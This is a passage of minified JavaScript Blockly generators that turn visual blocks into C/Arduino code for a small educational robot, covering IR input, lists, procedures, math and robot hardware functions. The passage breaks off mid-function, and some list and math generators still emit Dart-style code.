Blockly.C.is_ir_done=function(a){return["/*Check for completion of IR read*/\nIsIRDone()",Blockly.C.ORDER_NONE]};Blockly.C.ir_when=function(a){if(0==a.keyPressChecks)return"";for(var b="if(IsIRDone()){\n int button = GetIRButton();\n",c=1;c<=a.keyPressChecks;++c){var d=1==c?" if":" else if",e=a.getFieldValue("BUTTON"+c),f=Blockly.C.statementToCode(a,"CHECK"+c);f=f.replace("\n","\n ");b+=d+"(button == "+e+"){\n "+f+" RxIRRestart(4);\n }\n"}return b+" else{\n RxIRRestart(4);\n }\n}\n"};
Blockly.C.ir_button=function(a){return[a.getFieldValue("BUTTONS"),Blockly.C.ORDER_ATOMIC]};Blockly.C.get_pressed_ir_button=function(){return["GetIRButton()",Blockly.C.ORDER_ATOMIC]};Blockly.C.lists={};Blockly.C.addReservedWords("Math");Blockly.C.lists_create_empty=function(a){Blockly.C.definitions_.include_list="#include <list>";return["std::list<int>()",Blockly.C.ORDER_ATOMIC]};Blockly.C.lists_create_with=function(a){for(var b=Array(a.itemCount_),c=0;c<a.itemCount_;c++)b[c]=Blockly.C.valueToCode(a,"ADD"+c,Blockly.C.ORDER_NONE)||"null";b="["+b.join(", ")+"]";return[b,Blockly.C.ORDER_ATOMIC]};
Blockly.C.lists_repeat=function(a){var b=Blockly.C.valueToCode(a,"ITEM",Blockly.C.ORDER_NONE)||"null";return["new List.filled("+(Blockly.C.valueToCode(a,"NUM",Blockly.C.ORDER_NONE)||"0")+", "+b+")",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.lists_length=function(a){return[(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"[]")+".length",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.lists_isEmpty=function(a){return[(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"[]")+".isEmpty",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.lists_indexOf=function(a){var b="FIRST"==a.getFieldValue("END")?"indexOf":"lastIndexOf",c=Blockly.C.valueToCode(a,"FIND",Blockly.C.ORDER_NONE)||"''";return[(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"[]")+"."+b+"("+c+") + 1",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.lists_getIndex=function(a){var b=a.getFieldValue("MODE")||"GET",c=a.getFieldValue("WHERE")||"FROM_START",d=Blockly.C.valueToCode(a,"AT",Blockly.C.ORDER_UNARY_PREFIX)||"1";a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_UNARY_POSTFIX)||"[]";if("FIRST"==c){if("GET"==b)return[a+".first",Blockly.C.ORDER_UNARY_POSTFIX];if("GET_REMOVE"==b)return[a+".removeAt(0)",Blockly.C.ORDER_UNARY_POSTFIX];if("REMOVE"==b)return a+".removeAt(0);\n"}else if("LAST"==c){if("GET"==b)return[a+".last",Blockly.C.ORDER_UNARY_POSTFIX];
if("GET_REMOVE"==b)return[a+".removeLast()",Blockly.C.ORDER_UNARY_POSTFIX];if("REMOVE"==b)return a+".removeLast();\n"}else if("FROM_START"==c){d=Blockly.isNumber(d)?parseInt(d,10)-1:d+" - 1";if("GET"==b)return[a+"["+d+"]",Blockly.C.ORDER_UNARY_POSTFIX];if("GET_REMOVE"==b)return[a+".removeAt("+d+")",Blockly.C.ORDER_UNARY_POSTFIX];if("REMOVE"==b)return a+".removeAt("+d+");\n"}else if("FROM_END"==c){if("GET"==b)return c=Blockly.C.provideFunction_("lists_get_from_end",["dynamic "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+
"(List myList, num x) {"," x = myList.length - x;"," return myList.removeAt(x);","}"]),[c+"("+a+", "+d+")",Blockly.C.ORDER_UNARY_POSTFIX];if("GET_REMOVE"==b||"REMOVE"==b){c=Blockly.C.provideFunction_("lists_remove_from_end",["dynamic "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList, num x) {"," x = myList.length - x;"," return myList.removeAt(x);","}"]);d=c+"("+a+", "+d+")";if("GET_REMOVE"==b)return[d,Blockly.C.ORDER_UNARY_POSTFIX];if("REMOVE"==b)return d+";\n"}}else if("RANDOM"==c){Blockly.C.definitions_.import_dart_math=
"import 'dart:math' as Math;";c=Blockly.C.provideFunction_("lists_get_random_item",["dynamic "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList, bool remove) {"," int x = new Math.Random().nextInt(myList.length);"," if (remove) {"," return myList.removeAt(x);"," } else {"," return myList[x];"," }","}"]);d=c+"("+a+", "+("GET"!=b)+")";if("GET"==b||"GET_REMOVE"==b)return[d,Blockly.C.ORDER_UNARY_POSTFIX];if("REMOVE"==b)return d+";\n"}throw"Unhandled combination (lists_getIndex).";};
Blockly.C.lists_setIndex=function(a){function b(){if(c.match(/^\w+$/))return"";var a=Blockly.C.variableDB_.getDistinctName("tmp_list",Blockly.Variables.NAME_TYPE),b="List "+a+" = "+c+";\n";c=a;return b}var c=Blockly.C.valueToCode(a,"LIST",Blockly.C.ORDER_UNARY_POSTFIX)||"[]",d=a.getFieldValue("MODE")||"GET",e=a.getFieldValue("WHERE")||"FROM_START",f=Blockly.C.valueToCode(a,"AT",Blockly.C.ORDER_ADDITIVE)||"1";a=Blockly.C.valueToCode(a,"TO",Blockly.C.ORDER_ASSIGNMENT)||"null";if("FIRST"==e){if("SET"==
d)return c+"[0] = "+a+";\n";if("INSERT"==d)return c+".insert(0, "+a+");\n"}else if("LAST"==e){if("SET"==d)return e=b(),e+(c+"["+c+".length - 1] = "+a+";\n");if("INSERT"==d)return c+".add("+a+");\n"}else if("FROM_START"==e){f=Blockly.isNumber(f)?parseInt(f,10)-1:f+" - 1";if("SET"==d)return c+"["+f+"] = "+a+";\n";if("INSERT"==d)return c+".insert("+f+", "+a+");\n"}else if("FROM_END"==e){e=b();if("SET"==d)return e+(c+"["+c+".length - "+f+"] = "+a+";\n");if("INSERT"==d)return e+(c+".insert("+c+".length - "+
f+", "+a+");\n")}else if("RANDOM"==e){Blockly.C.definitions_.import_dart_math="import 'dart:math' as Math;";e=b();f=Blockly.C.variableDB_.getDistinctName("tmp_x",Blockly.Variables.NAME_TYPE);e+="int "+f+" = new Math.Random().nextInt("+c+".length);";if("SET"==d)return e+(c+"["+f+"] = "+a+";\n");if("INSERT"==d)return e+(c+".insert("+f+", "+a+");\n")}throw"Unhandled combination (lists_setIndex).";};
Blockly.C.lists_getSublist=function(a){var b=Blockly.C.valueToCode(a,"LIST",Blockly.C.ORDER_UNARY_POSTFIX)||"[]",c=a.getFieldValue("WHERE1"),d=a.getFieldValue("WHERE2"),e=Blockly.C.valueToCode(a,"AT1",Blockly.C.ORDER_NONE)||"1";a=Blockly.C.valueToCode(a,"AT2",Blockly.C.ORDER_NONE)||"1";("FIRST"==c||"FROM_START"==c&&Blockly.isNumber(e))&&("LAST"==d||"FROM_START"==d&&Blockly.isNumber(a))?(e="FIRST"==c?0:parseInt(e,10)-1,"LAST"==d?b=b+".sublist("+e+")":(a=parseInt(a,10),b=b+".sublist("+e+", "+a+")")):
b=Blockly.C.provideFunction_("lists_get_sublist",["List "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(list, where1, at1, where2, at2) {"," int getAt(where, at) {"," if (where == 'FROM_START') {"," at--;"," } else if (where == 'FROM_END') {"," at = list.length - at;"," } else if (where == 'FIRST') {"," at = 0;"," } else if (where == 'LAST') {"," at = list.length - 1;"," } else {"," throw 'Unhandled option (lists_getSublist).';"," }"," return at;"," }"," at1 = getAt(where1, at1);",
" at2 = getAt(where2, at2) + 1;"," return list.sublist(at1, at2);","}"])+"("+b+", '"+c+"', "+e+", '"+d+"', "+a+")";return[b,Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.lists_split=function(a){var b=Blockly.C.valueToCode(a,"INPUT",Blockly.C.ORDER_UNARY_POSTFIX),c=Blockly.C.valueToCode(a,"DELIM",Blockly.C.ORDER_NONE)||"''";a=a.getFieldValue("MODE");if("SPLIT"==a)b||(b="''"),a="split";else if("JOIN"==a)b||(b="[]"),a="join";else throw"Unknown mode: "+a;return[b+"."+a+"("+c+")",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.ringo={};Blockly.C.hardwarestartup_ringo=function(a){a=Blockly.C.statementToCode(a,"do");Blockly.C.definitions_.setup='// Below is the "setup" function. It runs one time as soon as Wink turns on. You can add stuff\n// to this function if you want, but hardwareBegin() should always be the first code in the list.\nvoid setup(){\n\tHardwareBegin();\n'+a+"}\n";return null};Blockly.C.get_gyro_calibration_multiplier=function(a){return["GetGyroCalibrationMultiplier()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.begin_navigation=function(a){return"NavigationBegin();\n"};Blockly.C.simple_gyro_navigation=function(a){return"SimpleGyroNavigation();\n"};Blockly.C.simple_navigation=function(a){return"SimpleNavigation();\n"};Blockly.C.navigation_xy=function(a){var b=Blockly.C.valueToCode(a,"gyro_sensitivity",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"accel_sensitivity",Blockly.C.ORDER_ATOMIC)||"0";return"NavigationXY("+b+", "+a+");\n"};Blockly.C.calibrate_navigation_sensors=function(){return"CalibrateNavigationSensors();\n"};
Blockly.C.zero_navigation=function(){return"ZeroNavigation();\n"};Blockly.C.pause_navigation=function(){return"PauseNavigation();\n"};Blockly.C.resume_navigation=function(){return"ResumeNavigation();\n"};Blockly.C.navigation_paused=function(){return["NavigationPaused()",Blockly.C.ORDER_ATOMIC]};Blockly.C.delay_with_navigation_ms=function(a){return"DelayWithNavigation("+Blockly.C.valueToCode(a,"milliseconds",Blockly.C.ORDER_ATOMIC)+");\n"};
Blockly.C.delay_with_simple_navigation_ms=function(a){return"DelayWithSimpleNavigation("+Blockly.C.valueToCode(a,"milliseconds",Blockly.C.ORDER_ATOMIC)+");\n"};Blockly.C.present_heading=function(a){return["PresentHeading()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_degrees_x=function(a){return["GetDegreesX()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_degrees_per_second_z=function(a){return["GetDegreesPerSecond()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.get_degrees_per_second_x=function(a){return["GetDegreesPerSecondX()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_degrees_per_second_y=function(a){return["GetDegreesPerSecondY()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_degrees_to_stop=function(a){return["GetDegreesToStop()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_accel_x=function(a){return["GetAccelerationX()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_accel_y=function(a){return["GetAccelerationY()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.get_accel_z=function(a){return["GetAccelerationZ()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_accel_y_unzeroed=function(a){return["GetAccelerationYUnZeroed()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_vel_x=function(a){return["GetVelocityX()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_vel_y=function(a){return["GetVelocityY()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_pos_x=function(a){return["GetPositionX()",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_pos_y=function(a){return["GetPositionY()",Blockly.C.ORDER_ATOMIC]};
Blockly.C.is_stationary=function(a){return["IsStationary",Blockly.C.ORDER_ATOMIC]};Blockly.C.non_stationary_value=function(a){return["NonStationaryValue",Blockly.C.ORDER_ATOMIC]};Blockly.C.non_stationary_axis=function(a){return["NonStationaryAxis",Blockly.C.ORDER_ATOMIC]};Blockly.C.delay_with_navigation_seconds=function(a){return"DelayWithNavigationSeconds("+Blockly.C.valueToCode(a,"SECONDS",Blockly.C.ORDER_ATOMIC)+" * 1000);\n"};
Blockly.C.delay_with_simple_navigation_seconds=function(a){return"DelayWithSimpleNavigation("+Blockly.C.valueToCode(a,"SECONDS",Blockly.C.ORDER_ATOMIC)+" * 1000);\n"};Blockly.C.min_turn=function(a){return["MinTurn("+(Blockly.C.valueToCode(a,"changeInDegrees",Blockly.C.ORDER_ATOMIC)||"0")+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.min_turn_to_heading=function(a){return["MinTurnToHeading("+(Blockly.C.valueToCode(a,"desiredHeading",Blockly.C.ORDER_ATOMIC)||"0")+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.vector_to_degrees=function(a){var b=Blockly.C.valueToCode(a,"xComponent",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"yComponent",Blockly.C.ORDER_ATOMIC)||"0";return["VectorToDegrees("+b+", "+a+")",Blockly.C.ORDER_ATOMIC]};
Blockly.C.set_pixel_rgb=function(a){var b=a.getFieldValue("PIXEL"),c=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_ATOMIC)||"0",d=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_ATOMIC)||"0";return"SetPixelRGB("+b+", "+c+", "+d+", "+a+");\n"};
Blockly.C.set_pixel_rgb_colour=function(a){var b=a.getFieldValue("PIXEL"),c=a.getFieldValue("COLOUR")||"#000000";a=parseInt(c.substring(1,3),16);var d=parseInt(c.substring(3,5),16);c=parseInt(c.substring(5,7),16);return"SetPixelRGB("+b+", "+a+", "+d+", "+c+");\n"};
Blockly.C.set_all_pixel_rgb=function(a){var b=Blockly.C.valueToCode(a,"RED",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"GREEN",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"BLUE",Blockly.C.ORDER_ATOMIC)||"0";return"SetAllPixelsRGB( "+b+", "+c+", "+a+");\n"};Blockly.C.refresh_pixels=function(a){return"RefreshPixels();\n"};
Blockly.C.set_all_pixel_rgb_colour=function(a){var b=a.getFieldValue("COLOUR")||"#000000";a=parseInt(b.substring(1,3),16);var c=parseInt(b.substring(3,5),16);b=parseInt(b.substring(5,7),16);return"SetAllPixelsRGB("+a+", "+c+", "+b+");\n"};Blockly.C.get_motor_max=function(a){return["MOTOR_MAX",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_left_motor=function(a){return["LeftMotor",Blockly.C.ORDER_ATOMIC]};Blockly.C.get_right_motor=function(a){return["RightMotor",Blockly.C.ORDER_ATOMIC]};
Blockly.C.motors_begin=function(a){return"MotorsBegin();\n"};Blockly.C.maintain_heading_reset=function(a){return"MaintainHeadingReset();\n"};Blockly.C.maintain_heading=function(a){var b=Blockly.C.valueToCode(a,"HEADING",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"SPEED",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"WIGGLE",Blockly.C.ORDER_ATOMIC)||"0";return"MaintainHeading("+b+", "+c+", "+a+");\n"};
Blockly.C.drive_arc=function(a){var b=Blockly.C.valueToCode(a,"HEADING",Blockly.C.ORDER_ATOMIC)||"0",c=Blockly.C.valueToCode(a,"LEFT_SPEED",Blockly.C.ORDER_ATOMIC)||"0",d=Blockly.C.valueToCode(a,"RIGHT_SPEED",Blockly.C.ORDER_ATOMIC)||"0",e=Blockly.C.valueToCode(a,"MAX_EXPECTED_TURN_TIME",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"MAX_EXPECTED_SKID_TIME",Blockly.C.ORDER_ATOMIC)||"0";return"DriveArc("+b+", "+c+", "+d+", "+e+", "+a+");\n"};
Blockly.C.rotate_accurate=function(a){var b=Blockly.C.valueToCode(a,"HEADING",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"MAX_EXPECTED_TURN_TIME",Blockly.C.ORDER_ATOMIC)||"0";return"RotateAccurate("+b+", "+a+");\n"};Blockly.C.play_start_chirp=function(a){return"PlayStartChirp();\n"};Blockly.C.play_ack=function(a){return"PlayAck();\n"};Blockly.C.play_non_ack=function(a){return"PlayNonAck();\n"};Blockly.C.play_anger=function(a){return"PlayAnger();\n"};Blockly.C.play_boredom=function(a){return"PlayBoredom();\n"};
Blockly.C.play_excited=function(a){return"PlayExcited();\n"};Blockly.C.play_chirp=function(a){var b=Blockly.C.valueToCode(a,"FREQUENCY",Blockly.C.ORDER_ATOMIC)||"0";a=Blockly.C.valueToCode(a,"AMPLITUDE",Blockly.C.ORDER_ATOMIC)||"0";return"PlayChirp("+b+", "+a+");\n"};Blockly.C.off_chirp=function(a){return"OffChirp();\n"};Blockly.C.off_pixels=function(a){return"OffPixels();\n"};Blockly.C.off_pixel=function(a){return"OffPixel("+a.getFieldValue("PIXEL")+");\n"};Blockly.C.random_eyes=function(a){return"RandomEyes();\n"};
Blockly.C.read_side_sensors=function(a){return"ReadSideSensors();\n"};Blockly.C.read_left_light_sensor=function(a){return["ReadLeftLightSensor()",Blockly.C.ORDER_ATOMIC]};Blockly.C.edge_lights_on=function(a){return"EdgeLightsOn();\n"};Blockly.C.edge_lights_off=function(a){return"EdgeLightsOff();\n"};Blockly.C.read_right_light_sensor=function(a){return["ReadRightLightSensor()",Blockly.C.ORDER_ATOMIC]};Blockly.C.reset_look_at_edge=function(a){return"ResetLookAtEdge();\n"};Blockly.C.look_at_edge=function(a){return"LookAtEdge();\n"};
Blockly.C.look_for_edge=function(a){return["LookForEdge()",Blockly.C.ORDER_ATOMIC]};Blockly.C.read_edge_light_sensors=function(a){return"ReadEdgeLightSensors("+(Blockly.C.valueToCode(a,"AVERAGE",Blockly.C.ORDER_ATOMIC)||"0")+");\n"};Blockly.C.is_over_edge=function(a){return["IsOverEdge()",Blockly.C.ORDER_ATOMIC]};Blockly.C.switch_ambient_to_edge=function(a){return"SwitchAmbientToEdge();\n"};Blockly.C.switch_edge_to_ambient=function(a){return"SwitchEdgeToAmbient();\n"};
Blockly.C.switch_button_to_pixels=function(a){return"SwitchButtonToPixels();\n"};Blockly.C.switch_pixels_to_button=function(a){return"SwitchPixelsToButton();\n"};Blockly.C.switch_motors_to_serial=function(a){return"SwitchMotorsToSerial();\n"};Blockly.C.ringo_button_pressed=function(a){return["ButtonPressed()",Blockly.C.ORDER_ATOMIC]};Blockly.C.heading_with_shortest_distance=function(a){return["HeadingWithShortestDistance("+(Blockly.C.valueToCode(a,"HEADING",Blockly.C.ORDER_ATOMIC)||"0")+")",Blockly.C.ORDER_ATOMIC]};Blockly.C.procedures={};function getCType(a){switch(a){case "INTEGER":return"int";case "BOOLEAN":return"bool";case "FLOAT":return"float";case "STRING":return"String";case "CHARACTER":return"char";default:return"int"}}
Blockly.C.procedures_defreturn=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("NAME"),Blockly.Procedures.NAME_TYPE),c=Blockly.C.statementToCode(a,"STACK");Blockly.C.STATEMENT_PREFIX&&(c=Blockly.C.prefixLines(Blockly.C.STATEMENT_PREFIX.replace(/%1/g,"'"+a.id+"'"),Blockly.C.INDENT)+c);Blockly.C.INFINITE_LOOP_TRAP&&(c=Blockly.C.INFINITE_LOOP_TRAP.replace(/%1/g,"'"+a.id+"'")+c);var d=Blockly.C.valueToCode(a,"RETURN",Blockly.C.ORDER_NONE)||"";d&&(d=" return "+d+";\n");for(var e=d?"int":
"void",f=[],g=0;g<a.arguments_.length;g++)f[g]="int "+Blockly.C.variableDB_.getName(a.arguments_[g],Blockly.Variables.NAME_TYPE);c=e+" "+b+"("+f.join(", ")+") {\n"+c+d+"}";c=Blockly.C.scrub_(a,c);Blockly.C.definitions_[b]=c;return null};Blockly.C.procedures_defnoreturn=Blockly.C.procedures_defreturn;
Blockly.C.procedures_callreturn=function(a){for(var b=Blockly.C.variableDB_.getName(a.getFieldValue("NAME"),Blockly.Procedures.NAME_TYPE),c=[],d=0;d<a.arguments_.length;d++)c[d]=Blockly.C.valueToCode(a,"ARG"+d,Blockly.C.ORDER_NONE)||"0";return[b+"("+c.join(", ")+")",Blockly.C.ORDER_UNARY_POSTFIX]};
Blockly.C.procedures_callnoreturn=function(a){for(var b=Blockly.C.variableDB_.getName(a.getFieldValue("NAME"),Blockly.Procedures.NAME_TYPE),c=[],d=0;d<a.arguments_.length;d++)c[d]=Blockly.C.valueToCode(a,"ARG"+d,Blockly.C.ORDER_NONE)||"0";return b+"("+c.join(", ")+");\n"};
Blockly.C.procedures_ifreturn=function(a){var b="if ("+(Blockly.C.valueToCode(a,"CONDITION",Blockly.C.ORDER_NONE)||"false")+") {\n";a.hasReturnValue_?(a=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_NONE)||"0",b+=" return "+a+";\n"):b+=" return;\n";return b+"}\n"};Blockly.C.procedures_ifreturn_typed=Blockly.C.procedures_ifreturn;Blockly.C.procedures_return_typed=function(a){return a.hasReturnValue_?" return "+(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_NONE)||"0")+";\n":" return;\n"};
Blockly.C.procedures_defreturn_typed=function(a){var b=Blockly.C.variableDB_.getName(a.getFieldValue("NAME"),Blockly.Procedures.NAME_TYPE),c=Blockly.C.statementToCode(a,"STACK");Blockly.C.STATEMENT_PREFIX&&(c=Blockly.C.prefixLines(Blockly.C.STATEMENT_PREFIX.replace(/%1/g,"'"+a.id+"'"),Blockly.C.INDENT)+c);Blockly.C.INFINITE_LOOP_TRAP&&(c=Blockly.C.INFINITE_LOOP_TRAP.replace(/%1/g,"'"+a.id+"'")+c);var d=Blockly.C.valueToCode(a,"RETURN",Blockly.C.ORDER_NONE)||"";d&&(d=" return "+d+";\n");for(var e=
d?getCType(a.getFieldValue("TYPE")):"int",f=[],g=0;g<a.arguments_.length;g++){var h=getCType(a.workspace.getVariableType(a.arguments_[g]));f[g]=h+" "+Blockly.C.variableDB_.getName(a.arguments_[g],Blockly.Variables.NAME_TYPE)}c=e+" "+b+"("+f.join(", ")+") {\n"+c+d+"}";c=Blockly.C.scrub_(a,c);Blockly.C.functions_[b]=e+" "+b+" ("+f.join(", ")+");";Blockly.C.definitions_[b]=c;return null};Blockly.C.procedures_defnoreturn_typed=Blockly.C.procedures_defreturn_typed;
Blockly.C.procedures_callreturn_typed=function(a){for(var b=Blockly.C.variableDB_.getName(a.getFieldValue("NAME"),Blockly.Procedures.NAME_TYPE),c=[],d=0;d<a.arguments_.length;d++)c[d]=Blockly.C.valueToCode(a,"ARG"+d,Blockly.C.ORDER_NONE)||"0";return[b+"("+c.join(", ")+")",Blockly.C.ORDER_UNARY_POSTFIX]};Blockly.C.procedures_callnoreturn_typed=Blockly.C.procedures_callnoreturn;
Blockly.C.cast_block=function(a){var b=Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_ATOMIC);a=a.getFieldValue("TYPE");return"STRING"===a?["new String("+b+")",Blockly.C.ORDER_NONE]:["("+getCType(a)+")("+b+")",Blockly.C.ORDER_NONE]};Blockly.C.procedures_return=function(a){return a.hasReturnValue_?"return "+(Blockly.C.valueToCode(a,"VALUE",Blockly.C.ORDER_NONE)||"0")+";\n":"return;\n"};Blockly.C.math={};Blockly.C.addReservedWords("Math");Blockly.C.math_number=function(a){a=parseFloat(a.getFieldValue("NUM"));if(Infinity==a){a="double.INFINITY";var b=Blockly.C.ORDER_UNARY_POSTFIX}else-Infinity==a?(a="-double.INFINITY",b=Blockly.C.ORDER_UNARY_PREFIX):b=0>a?Blockly.C.ORDER_UNARY_PREFIX:Blockly.C.ORDER_ATOMIC;return[a,b]};
Blockly.C.math_arithmetic=function(a){var b={ADD:[" + ",Blockly.C.ORDER_ADDITIVE],MINUS:[" - ",Blockly.C.ORDER_ADDITIVE],MULTIPLY:[" * ",Blockly.C.ORDER_MULTIPLICATIVE],DIVIDE:[" / ",Blockly.C.ORDER_MULTIPLICATIVE],POWER:[null,Blockly.C.ORDER_NONE]}[a.getFieldValue("OP")],c=b[0];b=b[1];var d=Blockly.C.valueToCode(a,"A",b)||"0";a=Blockly.C.valueToCode(a,"B",b)||"0";return c?[d+c+a,b]:(Blockly.C.definitions_.import_dart_math="#include <math.h>",["pow("+d+", "+a+")",Blockly.C.ORDER_UNARY_POSTFIX])};
Blockly.C.math_single=function(a){var b=a.getFieldValue("OP");if("NEG"==b)return a=Blockly.C.valueToCode(a,"NUM",Blockly.C.ORDER_UNARY_PREFIX)||"0","-"==a[0]&&(a=" "+a),["-"+a,Blockly.C.ORDER_UNARY_PREFIX];Blockly.C.definitions_.import_dart_math="#include <math.h>";a="ABS"==b||"ROUND"==b.substring(0,5)?Blockly.C.valueToCode(a,"NUM",Blockly.C.ORDER_UNARY_POSTFIX)||"0":"SIN"==b||"COS"==b||"TAN"==b?Blockly.C.valueToCode(a,"NUM",Blockly.C.ORDER_MULTIPLICATIVE)||"0":Blockly.C.valueToCode(a,"NUM",Blockly.C.ORDER_NONE)||
"0";switch(b){case "ABS":var c="abs("+a+")";break;case "ROOT":c="sqrt("+a+")";break;case "LN":c="log("+a+")";break;case "EXP":c="exp("+a+")";break;case "POW10":c="pow(10,"+a+")";break;case "ROUND":c="round("+a+")";break;case "ROUNDUP":c="ceil("+a+")";break;case "ROUNDDOWN":c="floor("+a+")";break;case "SIN":c="sin("+a+" / 180 * 3.14f)";break;case "COS":c="cos("+a+" / 180 * 3.14f)";break;case "TAN":c="tan("+a+" / 180 * 3.14f)"}if(c)return[c,Blockly.C.ORDER_UNARY_POSTFIX];switch(b){case "LOG10":c="log10("+
a+")";break;case "ASIN":c="asin("+a+") / 3.14f * 180";break;case "ACOS":c="acos("+a+") / 3.14f * 180";break;case "ATAN":c="atan("+a+") / 3.14f * 180";break;default:throw"Unknown math operator: "+b;}return[c,Blockly.C.ORDER_MULTIPLICATIVE]};
Blockly.C.math_constant=function(a){var b={PI:["3.14159265359f",Blockly.C.ORDER_UNARY_POSTFIX],E:["2.71828f",Blockly.C.ORDER_UNARY_POSTFIX],GOLDEN_RATIO:["(1.0f + sqrt(5.0f)) / 2.0f",Blockly.C.ORDER_MULTIPLICATIVE],SQRT2:["sqrt(2)",Blockly.C.ORDER_UNARY_POSTFIX],SQRT1_2:["sqrt(1.0f/2.0f)",Blockly.C.ORDER_UNARY_POSTFIX],INFINITY:["INFINITY",Blockly.C.ORDER_ATOMIC]};Blockly.C.definitions_.import_dart_math="#include <math.h>";a=a.getFieldValue("CONSTANT");return b[a]};
Blockly.C.math_number_property=function(a){var b=Blockly.C.valueToCode(a,"NUMBER_TO_CHECK",Blockly.C.ORDER_MULTIPLICATIVE);if(!b)return["false",Blockly.Python.ORDER_ATOMIC];var c=a.getFieldValue("PROPERTY");if("PRIME"==c)return Blockly.C.definitions_.import_dart_math="#include <math.h>",[Blockly.C.provideFunction_("math_isPrime",["bool "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(n) {"," // https://en.wikipedia.org/wiki/Primality_test#Naive_methods"," if (n == 2 || n == 3) {"," return true;"," }",
" // False if n is null, negative, is 1, or not whole."," // And false if n is divisible by 2 or 3."," if (n == null || n <= 1 || n % 1 != 0 || n % 2 == 0 || n % 3 == 0) {"," return false;"," }"," // Check all the numbers of form 6k +/- 1, up to sqrt(n)."," for (var x = 6; x <= Math.sqrt(n) + 1; x += 6) {"," if (n % (x - 1) == 0 || n % (x + 1) == 0) {"," return false;"," }"," }"," return true;","}"])+"("+b+")",Blockly.C.ORDER_UNARY_POSTFIX];switch(c){case "EVEN":var d=b+" % 2 == 0";
break;case "ODD":d=b+" % 2 == 1";break;case "WHOLE":d=b+" % 1 == 0";break;case "POSITIVE":d=b+" > 0";break;case "NEGATIVE":d=b+" < 0";break;case "DIVISIBLE_BY":a=Blockly.C.valueToCode(a,"DIVISOR",Blockly.C.ORDER_MULTIPLICATIVE);if(!a)return["false",Blockly.Python.ORDER_ATOMIC];d=b+" % "+a+" == 0"}return[d,Blockly.C.ORDER_EQUALITY]};
Blockly.C.math_change=function(a){var b=Blockly.C.valueToCode(a,"DELTA",Blockly.C.ORDER_ADDITIVE)||"0";a=Blockly.C.variableDB_.getName(a.getFieldValue("VAR"),Blockly.Variables.NAME_TYPE);return a+" = "+a+" + "+b+";\n"};Blockly.C.math_round=Blockly.C.math_single;Blockly.C.math_trig=Blockly.C.math_single;
Blockly.C.math_on_list=function(a){var b=a.getFieldValue("OP");a=Blockly.C.valueToCode(a,"LIST",Blockly.C.ORDER_NONE)||"[]";switch(b){case "SUM":b=Blockly.C.provideFunction_("math_sum",["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," num sumVal = 0;"," myList.forEach((num entry) {sumVal += entry;});"," return sumVal;","}"]);b=b+"("+a+")";break;case "MIN":Blockly.C.definitions_.import_dart_math="#include <math.h>";b=Blockly.C.provideFunction_("math_min",["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+
"(List myList) {"," if (myList.isEmpty) return null;"," num minVal = myList[0];"," myList.forEach((num entry) {minVal = Math.min(minVal, entry);});"," return minVal;","}"]);b=b+"("+a+")";break;case "MAX":Blockly.C.definitions_.import_dart_math="#include <math.h>";b=Blockly.C.provideFunction_("math_max",["num "+Blockly.C.FUNCTION_NAME_PLACEHOLDER_+"(List myList) {"," if (myList.isEmpty) return null;"," num maxVal = myList[0];"," myList.forEach((num entry) {maxVal = Math.max(maxVal, entry);});",
